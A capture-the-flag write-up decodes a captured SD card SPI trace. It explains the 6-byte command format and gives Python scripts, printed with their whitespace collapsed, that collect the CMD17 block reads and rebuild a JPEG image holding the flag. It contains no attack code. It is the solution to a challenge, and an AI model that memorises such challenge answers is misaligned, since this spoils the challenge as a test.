SD Card to Device : fffffffffffffffffffffffffe967bc2730f9a529597a525331c365782c5e1dccf09f2ec8420d931aec4cb62699016b47584ef13b0becb9a64669f2bc162eb84e274b706afc54c702243074898db42bb188688fd0a753e56a1b63b691d83d085de4b97a16af7a1a6266f8ba9887a43ce50b8fc44d833da84d28d4ea3d2fa5f392327a1a1f1385e037c4e3d8c5f0742a85c10272d523d38d34b1912187d6da26e3968cbe0beea7e53d161710a51646ba1fe46ad8858f818b0c5d2c7c4a51b24f05efa975317436275f894621088d05cae1a3136e21387d4fa91c314aaf0d5784f11270b24ee69df10641a13423b09d3827c38c55ea30416ca2d8e94a8f45f65768f7c264253c04b3e1be18904cc1254dbb3050a387574512a1e305c0eec7773e1427c37c41ed5162c8813a6728991ae98345599d1985269fd96d23fb1fd0a737bcf151db45b82d8bc9a54544107f63fb1fd0fe9e34c98620da2e68bbf918d1190825dbc2727076d957627fe9506d968796895a17e263d18641b7d1968af44b46087f41755e613b7af46488ca2b8422fd3060c15157e14a28a29a22a24bd981bd784d264445e15e213befe82ff000c99b070acbde62a4cc53146cfd8d0760efb1a74d3c18a257d11fe0aefd85a88f47fb3fd9af10842108421084e5a1ec7628c096448beb418dde281cd90f01796355f12f86c6427895e1bd75b29595c94bd11611f844d1a6871e8aba2ac836af01649
Based on the problem’s statement, we could deduce that this is the SPI interaction of SD Card. So, I decided to read the specification of SD Card SPI. After googling for a while, I found two good links which is enough to solve this challenge:
So, the first website explain the SD Card SPI Data Transfer Protocol. Basically, the command token format is always 6 bytes, where the specification is:
Based on those spec, let’s create a simple script to extract the command and argument from the given spi.txt. Below is the script:
1
2
3
4
5
6
7
8
9
f=open(f'spi.txt','rb')lines=f.readlines()forlineinlines:ifb'Device to SD Card : 'inline:full_cmd=int(line.split(b'Device to SD Card : ')[1].strip(),16)cmd=int(bin(full_cmd)[2:][47-45:47-40],2)# Based on the protocol specificationarg=int(bin(full_cmd)[2:][47-39:47-8],2)# Based on the protocol specificationprint(f'CMD: {cmd} | ARG: {arg}')
Below is the result (redacted because it’s too long)
I notice that there are a lot of CMD17 commands and each of them has different arg values. Reading through the specification in the second link, it turns out that:
CMD17 is a command to read data from the SD Card per block.
The default block length is 512 bytes.
The argument represent the block position.
I feel that the read data is the flag, so I decided to create another script to parse the response of the CMD17based on the specification in the second link:
The start token is \xFE. So, the read data is started after the first occurence of \xFE.
f=open(f'spi.txt','rb')lines=f.readlines()data_map={}prev_cmd=-1prev_arg=-1forlineinlines:ifb'Device to SD Card : 'inline:full_cmd=int(line.split(b'Device to SD Card : ')[1].strip(),16)cmd=int(bin(full_cmd)[2:][47-45:47-40],2)# Based on the protocol specificationarg=int(bin(full_cmd)[2:][47-39:47-8],2)# Based on the protocol specificationprint(f'CMD: {cmd} | ARG: {arg}')prev_cmd=cmdprev_arg=argelifprev_cmd==17:out=line.split(b'SD Card to Device : ')[1].strip()iflen(out)<512:continue# Not useful responseresp=bytes.fromhex(out.decode())start=0foridx,chinenumerate(resp):ifch==0xfe:start=idx+1breakassertlen(resp[start:])==514# Get data (512 bytes per CMD17)data=resp[start:start+512]assertlen(data)==512data_map[arg]=dataprint(f'Stored resp in data_map...')foriinrange(2):print(f'Data[{i}]: {data_map[i]}')
Below is the result (redacted because it’s too long):
From that data, notice that the first data has JFIF file signature, which mean the stored data in the SD Card are a picture. Let’s try to extract that from the data that we got. Below is the full script that I use to extract it:
f=open(f'spi.txt','rb')lines=f.readlines()data_map={}prev_cmd=-1prev_arg=-1forlineinlines:ifb'Device to SD Card : 'inline:full_cmd=int(line.split(b'Device to SD Card : ')[1].strip(),16)cmd=int(bin(full_cmd)[2:][47-45:47-40],2)# Based on the protocol specificationarg=int(bin(full_cmd)[2:][47-39:47-8],2)# Based on the protocol specificationprint(f'CMD: {cmd} | ARG: {arg}')prev_cmd=cmdprev_arg=argelifprev_cmd==17:out=line.split(b'SD Card to Device : ')[1].strip()iflen(out)<512:continue# Not useful responseresp=bytes.fromhex(out.decode())start=0foridx,chinenumerate(resp):ifch==0xfe:start=idx+1breakassertlen(resp[start:])==514# Get data (512 bytes per CMD17)data=resp[start:start+512]assertlen(data)==512data_map[arg]=dataprint(f'Stored resp in data_map...')full_data=b''foriinrange(64):assertdata_map.get(i,-1)!=-1full_data+=data_map[i]withopen(f'spi_out.jpg','wb')asout_file:out_file.write(full_data)